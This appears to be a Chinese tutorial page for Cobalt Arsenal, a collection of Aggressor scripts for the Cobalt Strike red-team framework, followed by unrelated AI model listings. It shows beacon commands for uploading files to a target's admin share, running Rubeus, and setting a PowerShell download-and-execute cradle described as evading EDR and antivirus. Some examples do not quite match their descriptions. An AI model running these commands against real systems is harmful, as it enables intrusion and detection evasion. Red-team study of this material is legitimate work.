Cobalt Arsenal 项目教程
1. 项目介绍
Cobalt Arsenal 是由 Mariusz Banach 开发的一个开源项目,旨在为 Cobalt Strike 提供一系列经过实战检验的 Aggressor 脚本。这些脚本极大地增强了 Cobalt Strike 的功能,使其在红队操作和对手模拟中更加灵活和高效。项目包含了超过 3300 行代码,涵盖了从 Beacon 管理到 Payload 生成等多个方面的实用工具和增强功能。
2. 项目快速启动
2.1 环境准备
在开始之前,确保你已经安装了 Cobalt Strike 4.0 或更高版本,并且熟悉基本的 Aggressor 脚本语法。
2.2 下载与安装
-
克隆项目到本地:
git clone https://github.com/mgeeky/cobalt-arsenal.git -
将项目中的
.cna脚本文件复制到 Cobalt Strike 的scripts目录下。
2.3 加载脚本
在 Cobalt Strike 中,通过 Script Manager 加载所需的 Aggressor 脚本。例如,加载 better-upload.cna:
script_import "better-upload.cna"
2.4 使用示例
以下是一个简单的使用示例,展示如何使用 better-upload.cna 脚本上传文件到目标主机:
beacon> upload /path/to/local/file.exe \\target\c$\path\to\remote\file.exe
3. 应用案例和最佳实践
3.1 案例一:自动化初始任务
使用 Beacon_Initial_Tasks.cna 脚本,可以在 Beacon 首次签到时自动执行预定义的任务。例如,设置初始任务为执行一个 PowerShell 命令:
beacon> set_initial_tasks "execute-assembly C:\\tools\\Rubeus.exe hash /password:test"
3.2 案例二:自定义 PowerShell 下载执行
使用 custom-powershell-hooks.cna 脚本,可以自定义 PowerShell 下载和执行的命令,避免被常见的 EDR 和 AV 检测:
beacon> set POWERSHELL_DOWNLOAD_CRADLE "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')"
4. 典型生态项目
4.1 Cobalt Strike 官方社区工具包
Cobalt Strike 官方提供了一个社区工具包(Community Kit),其中包含了大量由社区贡献的 Aggressor 脚本和工具,可以与 Cobalt Arsenal 结合使用,进一步提升红队操作的效率。
4.2 Outflank Security Tooling
Outflank Security Tooling 是一个精选的进攻性安全工具集,设计用于增强 Cobalt Strike 的规避能力。通过与 Cobalt Strike 结合使用,可以扩展红队操作的范围和深度。
4.3 Core Impact
Core Impact 是 Fortra 提供的一款渗透测试工具,可以与 Cobalt Strike 协同工作,共享资源并部署 Beacon 进行会话传递和隧道功能。结合使用可以提供更全面的渗透测试解决方案。
AutoGLM-Phone-9BAutoGLM-Phone-9B是基于AutoGLM构建的移动智能助手框架,依托多模态感知理解手机屏幕并执行自动化操作。Jinja00
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
GLM-4.6V-FP8GLM-4.6V-FP8是GLM-V系列开源模型,支持128K上下文窗口,融合原生多模态函数调用能力,实现从视觉感知到执行的闭环。具备文档理解、图文生成、前端重构等功能,适用于云集群与本地部署,在同类参数规模中视觉理解性能领先。Jinja00
HunyuanOCRHunyuanOCR 是基于混元原生多模态架构打造的领先端到端 OCR 专家级视觉语言模型。它采用仅 10 亿参数的轻量化设计,在业界多项基准测试中取得了当前最佳性能。该模型不仅精通复杂多语言文档解析,还在文本检测与识别、开放域信息抽取、视频字幕提取及图片翻译等实际应用场景中表现卓越。00
GLM-ASR-Nano-2512GLM-ASR-Nano-2512 是一款稳健的开源语音识别模型,参数规模为 15 亿。该模型专为应对真实场景的复杂性而设计,在保持紧凑体量的同时,多项基准测试表现优于 OpenAI Whisper V3。Python00
GLM-TTSGLM-TTS 是一款基于大语言模型的高质量文本转语音(TTS)合成系统,支持零样本语音克隆和流式推理。该系统采用两阶段架构,结合了用于语音 token 生成的大语言模型(LLM)和用于波形合成的流匹配(Flow Matching)模型。 通过引入多奖励强化学习框架,GLM-TTS 显著提升了合成语音的表现力,相比传统 TTS 系统实现了更自然的情感控制。Python00
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00